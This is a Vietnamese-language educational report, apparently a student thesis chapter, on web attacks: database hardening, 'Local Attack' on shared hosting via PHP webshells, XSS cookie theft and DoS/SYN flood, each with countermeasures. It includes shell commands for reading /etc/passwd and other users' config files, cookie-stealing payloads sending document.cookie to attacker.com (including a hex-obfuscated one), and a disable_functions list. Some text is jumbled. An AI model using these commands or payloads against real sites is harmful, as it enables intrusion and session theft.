2.1.2.2. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản
người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh
dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.
Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì
thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng
dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép
kẻ tấn công biết được điểm yếu của hệ thống.
2.2 Local Attack
2.2.1. Tìm hiểu về Local Attack
Local attack là một trong những kiểu hack rất phổ biến và có mức độ nguy
hiểm rất cao. Đối một web server thông thường khi bạn đăng ký một tài khoản trên
server nào đó bạn sẽ được cấp một tài khoản trên server đó và một thư mục để quản lý
site của mình. Ví dụ : tenserver/tentaikhoancuaban. Và như vậy cũng có một tài khoản
của người dùng khác tương tự như : tenserver/taikhoan1.Giả sử tài khoản1 bị hacker
chiếm được thì hacker có thể dùng các thủ thuật,các đoạn scrip,các đoạn mã lệnh để
truy cập sang thư mục chứa site của bạn là tenserver/taikhoancuaban. Và cũng theo
cách này hacker có thể tấn công sang các site của người dùng khác và có thể lấy thông
tin admin,database,các thông tin bảo mật khác hoặc chèn các đoạn mã độc vào trang
index của site bạn. Dạng tấn công trên gọi là Local Attack.
Thông thường nhất, Local Attack được sử dụng để đọc lấy thông tin config từ
victim, sau đó dựa vào thông tin ở config và mục đích của hacker để phá hoại Website
2.2.2. Tấn công bằng Local Attack.
Để thực hiện tấn công Local Attack, tùy theo cách thức của hacker mà có những
cách Local khác nhau. Thông thường thì các hacker thường sử dụng các đoạn lệnh để
tấn công vào database.
2.2.2.1. Chuẩn bị
Trước tiên phải có một con PHP/ASP/CGI backdoor trên server. Backdoor thì
có rất nhiều loại khác nhau nhưng phổ biến nhất là phpRemoteView (thường được gọi
là remview) R57Shell, CGITelnet, C99,…Tiến hành upload các công cụ ở trên lên,
thường là các con shell như R57,C99,…
Upload một trong những công cụ đó lên host (Thường thì chúng ta sử dụng các
con shell R57,C99,.. vì nó mạnh và dễ sử dụng)
Để có host chúng ta có nhiều cách:
+ Mua host ngay trên server.
+ Hack một trang bị lỗi và upload shell lên (thường thì hacker sử dụng SQL
Injection để hack một trang web và chiếm tài khoản admin của trang web đó và upload
các con shell lên)hoặc khai thác lỗi inclusion
+ Search backdoor (Vào google.com search keyword: <?phpRemoteView?> ,
r57Shell ...). Vói cách này thì hầu hết các con shell là của các hacker đã sử dụng và
chưa bị xóa, nếu được thì chúng ta nên upload cho chúng ta một con shell khác
2.1.2.2.Tiến hành Attack
Sau khi đã upload được shell code lên một server nào đó. Hacker bắt đầu tìm
các website cùng server với website chứa shell code, thông thường các Hacker thường
sử dụng Reverse Ip domain mà Hacker đã upload shell để xem các website cùng server
Sau khi tìm được danh sách website ,lần lượt check xem site nào bị lỗi và có thể
local sang được
Các lệnh thường dùng trong shell để Local Attack
Xem tên domain trên cùng một host:
ls -la /etc/valiases
cd /etc/vdomainaliases;ls –lia
Trường hợp đặc biệt khi không thể xem user nằm cùng host thì ta thêm && vào
Muốn biết tên user thì dùng lệnh :
Hoặc:
Local sang victim, tức là di chuyển sang site khác
Muốn biết tên user cần local sang thì chúng ta sử dụng Reverse Ip để lấy danh sách
user trên cùng một server.Muốn biết user đó có tồn tại hay không chúng ta mở trình
duyệt web lên và đánh đoạn : Ip của server/~ tên user (Ví dụ :
203.166.222.121/~doanchuyennganh). Nếu trình duyệt hiện lên trang index của
website thì tức là user đó tồn tại
+Xem nội dung của file:
Hoặc
Chúng ta muốn xem config của 1 diễn đàn dung mã nguồn Vbulletin thì dung:
Với doanchuyennganh.txt ở đây là file chúng ta tạo ra trên host của chúng ta để xem
file của người khác. Nếu không sử dụng được các lệnh trên tức là server đã disable
chức năng đó.
Thêm 1 số lệnh shell trong linux :
- pwd: đưa ra ngoài màn hình thư mục đang hoạt động (ví dụ: /etc/ssh).
- cd: thay đổi thư mục (ví dụ: cd .. – ra một cấp thư mục hiện tại; cd vidu – vào
thư mục /vidu).
- ls: đưa ra danh sách nội dung thư mục.
- mkdir: tạo thư mục mới (mkdir tên_thumuc).
- touch: tạo file mới (touch ten_file).
- rmdir: bỏ một thư mục (rmdir ten_thumuc).
- cp: copy file hoặc thư mục (cp file_nguồn file_đích).
cd /etc/vdomainaliases && ls –lia
cat /etc/passwd/
less /etc/passwd
cat /home/tên user cần local/public_html/index.php
ln -s /home/tên user cần local/public_html/forum/includes/config.php
doanchuyennganh.txt
- mv: di chuyển file hoặc thư mục; cũng được dùng để đặt lại tên file hoặc thư
mục (mv vị_trí_cũ vị_trí_mới hoặc mv tên_cũ tên_mới).
- rm: loại bỏ file (rm tên_file).
- Để tìm kiếm file, bạn có thể dùng: - find : dùng cho các tên file. - grep <>: để
tìm nội dung trong file.
Để xem một file, bạn có thể dùng:
- more : hiển thị file theo từng trang.
- cat <>: hiển thị tất cả file.
- Nếu muốn kết nối tới một host từ xa, sử dụng lệnh ssh. Cú pháp là ssh
<tên_host>.
Quản lý hệ thống:
- ps: hiển thị các chương trình hiện thời đang chạy (rất hữu ích: ps là cái nhìn
toàn bộ về tất cả các chương trình).
- Trong danh sách đưa ra khi thực hiện lệnh ps, bạn sẽ thấy có số PID (Process
identification - nhân dạng tiến trình).
Con số này sẽ được hỏi đến khi muốn ngừng một dịch vụ hay ứng dụng, dùng lệnh kill
- top: hoạt động khá giống như Task Manager trong Windows. Nó đưa ra thông
tin về tất cả tài nguyên hệ thống, các tiến trình đang chạy, tốc độ load trung bình…
Lệnh top -d <delay> thiết lập khoảng thời gian làm tươi lại hệ thống. Bạn có thể
đặt bất kỳ giá trị nào, từ .1 (tức 10 mili giây) tới 100 (tức 100 giây) hoặc thậm chí lớn
hơn.
- uptime: thể hiện thời gian của hệ thống và tốc độ load trung bình trong khoảng
thời gian đó, trước đây là 5 phút và 15 phút.
Thông thường tốc độ load trung bình được tính toán theo phần trăm tài nguyên
hệ thống (vi xử lý, RAM, ổ cứng vào/ra, tốc độ load mạng) được dùng tại một thời
điểm. Nếu tốc độ được tính toán là 0.37, tức có 37% tài nguyên được sử dụng. Giá trị
lớn hơn như 2.35 nghĩa là hệ thống phải đợi một số dữ liệu, khi đó nó sẽ tính toán
nhanh hơn 235% mà không gặp phải vấn đề gì. Nhưng giữa các phân phối có thể khác
nhau một chút.
- free: hiển thị thông tin trên bộ nhớ hệ thống.
- ifconfig <tên_giao_diện>: để xem thông tin chi tiết về các giao diện mạng;
thông thường giao diện mạng ethernet có tên là eth(). Bạn có thể cài đặt các thiết lập
mạng như địa chỉ IP hoặc bằng cách dùng lệnh này (xem man ifconfig). Nếu có điều gì
đó chưa chính xác, bạn có thể stop hoặc start (tức ngừng hoặc khởi_động) giao diện
bằng cách dùng lệnh ifconfig <tên_giao_diện> up/down.
- passwd: cho phép bạn thay đổi mật khẩu (passwd
người_dùng_sở_hữu_mật_khẩu hoặc tên người dùng khác nếu bạn đăng nhập hệ thống
với vai trò root).
- useradd: cho phép bạn thêm người dùng mới (xem man useradd).
Dù ở phân phối nào, bạn cũng có thể dùng phím TAB để tự động hoàn chỉnh một lệnh
hoặc tên file. Điều này rất hữu ích khi bạn quen với các lệnh. Bạn cũng có thể sử dụng
các phím lên, xuống để cuộn xem các lệnh đã nhập. Bạn có thể dùng lệnh đa dòng trên
một dòng. Ví dụ như, nếu muốn tạo ba thư mục chỉ trên một dòng, cú pháp có thể là:
mkdir thư_mục_1 ; mkdir thư_mục_2 ; mkdir thư_mục_3.
Một điều thú vị khác nữa là các lệnh dạng pipe. Bạn có thể xuất một lệnh thông
qua lệnh khác. Ví dụ: man mkdir | tail sẽ đưa ra thông tin các dòng cuối cùng trong
trang xem "thủ công" của lệnh mkdir.
Nếu lúc nào đó được yêu cầu phải đăng nhập với tài khoản gốc (tức "siêu"
admin của hệ thống), bạn có thể đăng nhập tạm thời bằng cách dùng lệnh su. Tham số
-1 (su-1) dùng để thay đổi thư mục chủ và cho các lệnh đã hoặc đang dùng. Chú ý là
bạn cũng sẽ được nhắc một mật khẩu. Để thoát hay đóng : gõ exit hoặc logout.
2.2.3. Phương pháp phòng chống Local Attack.
Để hạn chế Local Attack, chúng ta nên Chmod filemanager ,di chuyển file
config.php và sửa đổi file htaccess và nhất là thường xuyên backup dữ liệu.
-Chmod File Manager:
Hình 2.3 Quyền Chmod
+ CHMOD thư mục Public_html thành 710 thay vì 750 mặc định việc này sẽ
giúp bạn bảo vệ được cấu trúc Website của mình.
+CHMOD tiếp các thư mục con (diendan
(http://diendan.doanchuyennganh.com),
+CHMOD thư mục diendan (http://diendan.doanchuyennganh.com) thành 701,
rồi
+ CHMOD tiếp các thư mục con trong thư mục diendan
(http://diendan.doanchuyennganh.com) thành 701
+ CHMOD toàn bộ file thành 404
Với CHMOD chắc chắn khi run shell sẽ hiện ra thông báo lỗi:
Attacker sẽ không view được.
Ngoài ra , một số site thì bạn truy cập bằng subdomain của nó mà không là
dạng doanchuyenganh.com/diendan (http://diendan.doanchuyennganh.com), cái này
có nhiều ý nghĩa, nhưng trong bảo mật thì nó sẽ rất khác.
+ CHMOD thư mục là 701 và cố gắng đừng bao giờ CHMOD 777, có một số
folder ko quan trọng, bạn có thể CHMOD 755 để có thể hiện thị đúng và đầy đủ một
số nội dung trong Folder đó. Chú ý thế này, một số Server hỗ trợ CHMOD thư mục
Not Acceptable An appropriate representation of the requested resource
/test.php could not be found on this server. Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the
request.
được 101, nếu Server của bạn hỗ trợ cái này thì hãy sử dụng nó, vì biện pháp CHMOD
này rất an toàn, đến ngay cả Owner cũng ko thể xem được cấu trúc Folder ngay cả khi
vào FTP. Hiện chỉ có Server của Eshockhost.net là hỗ trợ cái này.
+ CHMOD File là 604 và đừng bao giờ để là 666 nếu có việc cần 666 thì chúng
ta CHMOD tạm để sử dụng lúc đó, sau đó hãy CHMOD lại ngay. Đối với các Server
hỗ trợ CHMOD file 404 chúng ta hãy CHMOD như vậy, ví dụ Server Eshockhost.net
Thay đổi cấu trúc, tên file mặc định có chứa các thông tin quan trọng . Nếu có
thể hãy thay đổi cả cấu trúc CSDL nếu bạn làm được .
-Chống local bằng cách bật safe-mode (dành cho root):
Như chúng ta đã biết, đối với các webshell - PHP, trong PHP Configuration có
những option để hạn chế tính năng của nó (đặc biệt là r57 - tự động by pass) nên công
việc đầu tiên của các root account là phải cập nhật các phiên bản PHP mới nhất và
config lại php.ini : [i]PHP safe mode là phương pháp để giải quyết vấn đề bảo mật cho
nhưng nơi server chia sẻ hosting cho nhiều accounts (shared-server). Nó là do thiết kế
1 cách sai lạc của từng cấp PHP. Hiện nay, nhiều người đã chọn phương pháp bật safe-
mode để bảo mật, đặc biệt là các ISP
Các hướng dẫn về cấu hình Security and Safe Mode :
Sau đây là cách đề đặc chính cấu hình server để bật chế độ safe mode :
Trong file php.ini :
safe_mode: mặc định : "0" sửa dưới phân quyền : PHP_INI_SYSTEM
safe_mode_gid: mặc định :"0"sửa dưới phân quyền : PHP_INI_SYSTEM
safe_mode_include_dir: mặc định :NULL sửa dưới phân quyền :
PHP_INI_SYSTEM
safe_mode_exec_dir: mặc định :""sửa dưới PHP_INI_SYSTEM
safe_mode_allowed_env_vars: mặc định :"PHP_"sửa dưới PHP_INI_SYSTEM
safe_mode_protected_env_vars: mặc định :"LD_LIBRARY_PATH"sửa dưới
PHP_INI_SYSTEM
open_basedir: mặc định :NULL sửa dưới PHP_INI_SYSTEM
disable_functions: mặc định :"" sửa dưới php.ini
disable_classes : mặc định : ""sửa dưới php.ini
readfile,system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close,
proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose,
set_time_limit, escapeshellcmd, escapeshellarg, dl, curl_exec, parse_ini_file,
show_source,ini_alter, virtual, openlog
- disabled_functions nên chứa những function sau :
PHP Code
- Trong script.php là :
PHP Code:
- Kết quả :
PHP Code:
Warning: readfile() has been disabled for security reasons in /docroot/script.php on
line 2
- Vài lợi điểm của việc bật safe mode:
- Thường khi upload file, file sẽ vào /tmp/ với những người có quyền không phải là
owner.
- Bật safe-mode sẽ có những bất lợi với người lập trình code PHP, do đó, họ thường
có: PHP Code:
-Bảo mật server apache :
safe_mode = Off chuyển thành safe_mode = On
<?php
readfile('/etc/passwd');
?>
<?php
// Kiểm tra safe mode
if( ini_get('safe_mode') ){
// Code theo bật safe_mode
}else{
// Code theo tắt safe_mode
}
?>
Tầm quan trọng của apache :
Client (Hacker using local attack) ------> Shared server
Shared Server --------------------------> Apache
Apache ---------------------------------> PHP/Perl ... xử lý ...
PHP/Perl (gửi kết quả) -----------------> Apache
Apache (gửi kết quả) ------------------>Client
Do đó quyền chính ở apache set .. chứ 0 hề phụ thuộc nhiều vào các application
như PHP/CGI ...
Cài đặt apache :
Code:
Theo mặc định, các process thuộc Apache chạy với chủ quyền của người dùng
nobody (ngoại trừ process chính phải chạy với chủ quyền root) và GID thuộc nhóm
nogroup. Ðiều này có thể dẫn đến những đe dọa bảo mật nghiêm trọng. Trong trường
hợp đột nhập thành công, tin tặc có thể lấy được quyền truy dụng đến những process
khác chạy cùng UID/GID. Bởi thế, giải pháp tối ưu là cho Apache chạy bằng
UID/GID từ nhóm riêng biệt, chuyên chú đến software ấy thôi.
Ðối với những ai quen dùng *nix hẳn không lạ gì với khái niệm UID/GID thuộc
chế độ "file permission". Tuy nhiên, chi tiết này nên mở rộng một tí cho những bạn
đọc chưa quen thuộc với UID/GID. Phần tạo nhóm (group) và người dùng (user) riêng
cho Apache ở trên có hai chi tiết cần chú ý là:
-d /dev/null: không cho phép user Apache có thư mục $HOME nhưng những user bình
thường khác
-s /sbin/nologin: không cho user Apache dùng bất cứ một shell nào cả. Có một số
trường hợp dùng -s /bin/true thay vì nologin ở trên, true là một lệnh không thực thi gì
cả và hoàn toàn vô hại.
Lý do không cho phép user Apache có thư mục $HOME và không được cấp
một "shell" nào cả vì nếu account Apache này bị được cho phép, tin tặc cũng không có
cơ hội tiếp cận với system ở mức độ cần thiết cho thủ thuật "leo thang đặc quyền".
Trên môi trường *nix nói chung, "shell" là giao diện giữa người dùng và hệ thống,
không có shell thì không có cơ hội tiếp cận. Nếu phần thiết lập trên cung cấp user
Apache một $HOME và cho phép dùng một shell nào đó thì đã không mang giá trị gì
trên quan điểm "bảo mật".
Vào http://httpd.apache.org/ cài đặt phiền bản mới nhất (hiện giờ 2.2)
Khi đó ta nên set quyền của php shell riêng, nó không có quyền được nhẩy sang các
user khác .
Chmod trong /usr/bin như sau :
pw groupadd apache
pw useradd apache -c "Apache Server" -d /dev/null -g apache -s /sbin/nologin
-rwxr--r-x root nobody wget cho -rwxr-x--- root compiler gcc
Chặn biên dịch gcc, tránh để user dùng nhưng exploit sẵn biên dịch get root.
Trong /bin/:
- rwxr-xr-x root root cp
Tương tự với rm, mv, tar, chmod, chown, chgrp...
- rwsr-x--- root wheel su
- rwxr-x--- root root ln
2.3. Cross Site Scripting (XSS)
2.3.1. Tìm hiểu về XSS.
Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn
công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được
những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để
từ đó chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp
hoặc thực hiện những những điều Hacker muốn.
Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên
chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu
biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người
dung bị mất thông tin một cách dễ dàng.
Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân
kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như
VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân.
2.3.2. Tấn công bằng XSS
2.3.2.1 Phương pháp tấn công XSS truyền thống.
Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẫu
thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết
lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm
việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của
hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên
ứng dụng đó.
Các bước thực hiện XSS truyền thống:
http://doanchuyennganh.com/webmonkey/00/index1.html?tw=<script>alert
(document.cookie);</script>
Tóm tắt các bước thực hiện:
• Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ
hỏng XSS.
• Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính
trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo
ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò
mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ
bạn”…
• Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của
hacker.
• Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
• Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng.
Để khai thác lỗ hổng trên ứng dụng doanchuyennganh.com, Hacker có thể
thực hiện như sau :
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do
cument.location.replace('http://www.attacker.com/steal.cgi?'+docume
nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a>
</body>
</html>
Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ
bạn”,cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương
trình steal.cgi của Hacker.
Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng
cách lọc những kí tự đặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực
hiện câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho
những kí tự đặc biệt để tấn công.
Thay thế bằng những số hex cho những kí tự ASCII.
http://www.attacker.com/steal.cgi?
lubid=010000508BD3046103F43B8264530098C20100000000;%20p_uniqid
=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195
11286
http://www.attacker.com/steal.cgi:
h -> 0x0068
t -> 0x0074
t -> 0x0074
p -> 0x0070
: -> 0x003A
/ -> 0x002F
…
Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web.
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va
r u = String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003A);
u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x002F);
u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0061);
u %2B= String.fromCharCode(0x0063);u %2B=
String.fromCharCode(0x006B);
u %2B= String.fromCharCode(0x0065);u %2B=
String.fromCharCode(0x0072);
u %2B= String.fromCharCode(0x002E);u %2B=
String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x006F);u %2B=
String.fromCharCode(0x006D);
u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x0073);
u %2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0065);
u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x006C);
u %2B= String.fromCharCode(0x002E);u %2B=
String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x0067);u %2B=
String.fromCharCode(0x0069);
u %2B= String.fromCharCode(0x003F);
u %2B=document.cookie;document.location.replace(u);</script>"
onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht
ml';return true"
onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ
bạn </a>
</body>
</html>
2.3.2.2 Tấn công bằng XSS bằng Flash
Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng
những tập tin flash để đánh cắp thông tin.
Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây
dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự
như JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác,
tham số thường là một URL chẳng hạn như “http://www.yahoo.com”.
Ví dụ như:
Tuy nhiên có thể thay thế URL bằng JavaScript:
Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập
tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn
JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách
tấn công này là:
Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:
Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập
tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho Hacker.
Hình 2.4 . Cách viết Action Script trong Flash.
getURL(“http://www.yahoo.com”)
getURL(“javascript:alert(document.cookie)”)
getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do
cument.cookie)”)
2.3.3 Phương pháp phòng chống XSS
Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng
Web cần phải thực hiện vài bước cơ bản sau:
- Tạo ra danh sách những thẻ HTML được phép sử dụng.
- Xóa bỏ thẻ <script>
- Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related
nào.
- Lọc dấu nháy đơn hay kép
- Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến
cho ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ
rằng chuỗi đã kết thúc từ kí tự Null này).
- Xóa những kí tự “ > ”, “ < ”
- Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩ
riêng.
- Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có
cho thực thi ngôn ngữ kịch bản trên máy của họ hay không?. Tùy vào mức
độ tin cậy mà người dùng sẽ quyết định.
Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ
dừng lại ở mức độ tấn công trên máy nạn nhân thông qua những liên kết hay form lừa
đảo mà hacker đưa đến cho nạn nhân. Vì thế, ngoài việc ứng dụng kiểm tra tính đúng
đắn của dữ liệu trước khi sử dụng thì việc cần nhất là người dùng nên cảnh giác trước
khi bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì
90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn
công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó giành
quyền quản trị ứng dụng.
2.4. Tấn công từ chối dịch vụ
2.4.1. Tìm hiểu về DOS
2.4.1.1. Khái niệm
Tấn công kiểu DoS là kiểu tấn công làm cho các dịch vụ mạng bị tê liệt, không
còn khả năng đáp ứng được yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ
thống, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi kiểu tấn công DoS. Thông
thường, kiểu tấn công DoS dựa trên những giao thức (protocol). Ví dụ với giao thức là
ICMP, hacker có thể sử dụng bomb e-mail để gửi hàng ngàn thông điệp email với mục
đích tiêu thụ băng thông để làm hao hụt tài nguyên hệ thống trên mail server. Hoặc có
thể dùng phần mềm gửi hàng loạt yêu cầu đến máy chủ khiến cho máy chủ không thể
đáp ứng những yêu cầu chính đáng khác.
2.4.1.2. Những khả năng bị tấn công bằng DOS
• TẤN CÔNG TRÊN SWAP SPACE:
Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi ( swap space)
để phục vụ cho những yêu cầu từ máy khách. Swap space thường dùng cho các tiến
trình con có thời gian ngắn nên DoS có thể được dựa trên phương thức làm tràn đầy
swap space.
• TẤN CÔNG TRÊN BANDWIDTH:
Phần băng thông dành cho mỗi hệ thống là giới hạn, vì thế nếu hacker cùng lúc
gửi nhiều yêu cầu đến hệ thống thì phần băng thông không đủ đáp ứng cho một khối
lượng dữ liệu lớn đó và dẫn đến hệ thống bị phá vỡ.
• TẤN CÔNG VÀO RAM:
Tấn công Dos chiếm 1 khoảng lớn của RAM cũng có thể gây ra các vấn đề phá
hủy hệ thống. Kiểu tấn công BufferOverflow là một ví dụ cho cách phá hủy này.
• TẤN CÔNG VÀO DISKS:
Một kiểu tấn công cổ điển là làm đầy đĩa cứng. Đĩa cứng có thể bị tràn và
không thể được sử dụng nữa.
2.4.2. Các kĩ thuật tấn công bằng DOS
2.4.2.1 Khái niệm về TCP bắt tay ba chiều
Đầu tiên, để tìm hiểu phương pháp tấn công DoS , ta sẽ tìm hiểu cơ chế làm
việc “tcp bắt tay ba chiều”.
Gói dữ liệu TCP chứa flag bits (cờ) để mô tả nội dung và mục đích của gói dữ
liệu .Ví dụ:
• Gói dữ liệu TCP với cờ SYN (synchoronize) dùng để bắt đầu 1 kết nối
• ACK (acknowledgement)
• FIN (finish) dùng để cắt 1 kết nối
Cách hoạt động của gói TCP:
Hình 2.5. Cơ chế thiết lập kết nối trước khi truyền số liệu
Bước 1: Máy Client gửi gói tin SYN yêu cầu kết nối
Bước 2: Nếu máy chủ chấp nhận kết nối, máy chủ sẽ gửi gói tin SYN/ACK
Server bắt buộc phải gửi thông báo lại bởi vì TCP là chuẩn tin cậy nên nếu máy
Client không nhận được thông báo thì sẽ nghĩ rằng packet đã bị lạc và gửi lại một
packet mới .
Bước 3: Máy Client gửi hồi đáp bằng gói tin ACK
Báo cho máy chủ biết rằng máy con đã nhận được SYN/ACK packet và lúc này
kết nối đã được thiết lập.
2.4.2.2 Lợi dụng TCP thực hiện phương pháp SYN Flood truyền
thống
Hình 2.6. Tấn công DoS truyền thống
Như đã đề cập về vấn đề thiết lập kết nối trong phần 1, bất cứ 1 gói tin SYN,
máy chủ cũng phải để 1 phần tài nguyên của hệ thống như bộ nhớ đệm để nhận và
truyền dữ liệu cho đường truyền đó. Tuy nhiên, tài nguyên của hệ thống là có hạn và
hacker sẽ tìm mọi cách để hệ thống tràn qua giới hạn đó. ( Đây còn được gọi là half-
open connection vì máy khách mở kết nối giữa chừng).
Theo hình 9.III.2-1: Nếu máy chủ sau khi gửi trả một gói tin SYN/ACK để
thông báo chấp nhận kết nối cho máy yêu cầu nhưng nếu địa chỉ IP của máy yêu cầu
này là giả mạo thì gói tin không thể đến được đích, nên máy chủ vẫn phải dành tài
nguyên cho yêu cầu đó. Sau một thời gian không nhận được phản hồi từ máy khách,
máy chủ lại tiếp tục gửi một gói tin SYN/ACK để xác nhận lần nữa và cứ như vậy, kết
nối vẫn tiếp tục mở.
Nếu như Hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không
thể tiếp nhận thêm 1 kết nối nào nữa thì lúc này hệ thống đã bị phá vỡ.
Chỉ với một đường truyền băng thông nhỏ, hacker đã có thể phá vỡ một hệ
thống. Thêm vào đó, địa chỉ IP của hacker có thể được sửa đổi nên việc xác định thủ
phạm là một vấn đề hết sức khó khăn.
2.4.2.3 Tấn công vào băng thông
 Kiểu tấn công thứ nhất:
Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn
hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ truyền
mạng.
Ví dụ:
Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn có thể dễ dàng
phá vỡ một hệ thống có đường truyền 56Kbps.
 Kiểu tấn công thứ hai:
Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp
so với đường truyền của máy đích. Không giống như kiểu tấn công DoS truyền thống,
kiểu tấn công vào băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống
khác nhau cùng một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống
đích không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào
nữa.
Hình 2.7 Kiểu tấn công DoS vào băng thông
Theo hình 2.7, tất cả các gói tin đi vào 1 mạng máy tính qua 1 "Big-Pipe" ( ống
dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều
máy tính con tùy theo địa chỉ IP của gói tin.
Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng đến 1
máy nhất định trong mạng máy tính con này, router đành phải chấp nhận loại bỏ phần
lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của máy tính đó.
Kiểu tấn công này sẽ loại máy đích ra khỏi Internet.
Đây là phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi
là DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽ được
phát động để gửi gói tin đến máy đích ( mặc dù đường truyền của mỗi máy không cao
nhưng nhiều đường truyền lại hợp thành một ống dẫn “ Big Pipe”), làm cho máy đích
